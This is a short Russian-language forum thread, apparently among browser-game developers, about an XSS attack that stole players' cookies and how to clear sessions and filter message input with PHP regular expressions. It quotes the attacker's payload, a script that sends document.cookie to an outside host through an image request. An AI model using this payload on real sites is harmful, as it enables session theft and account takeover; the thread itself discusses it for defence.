Что можно сделать с помощью этого кода?

Я не увидел второго кода прост. )

rnddev, Скорее всего XSS. Так как при выводе document.cookie, отображаются только куки привязанные к домену, на котором находится пользователь

Смотрите он отправил <script>img = new Image(); img.src = "http://httpz.org/nufw40hn94p.gif?"+document.cookie;</script> и видимо получил куки? А дальше зашёл на страницу
Добавлено 18.07.14 в 13:07:14:
Как сбросить все куки??? в игре или что рндев хелпни

artemas, да именно так.

rnddev, а можно как-то очистить все игрокам из бд куки?

rnddev, как на проверку textarea поставить вот так будет пахать с техтареа нейм мсг

if (preg_match("#[a-z]+#ui", $_POST['msg']) && preg_match("#[а-я]+#ui", $_POST['msg'])){
$err=1;
err_game('Разрешается использовать символы только русского или только английского алфавита');
}

регулярка не правильная

Может sess почистить?

rnddev, так напиши норм друг

preg_match('~^[а-яА-ЯёЁa-zA-Z0-9_/]+$~ui', $_POST['msg'])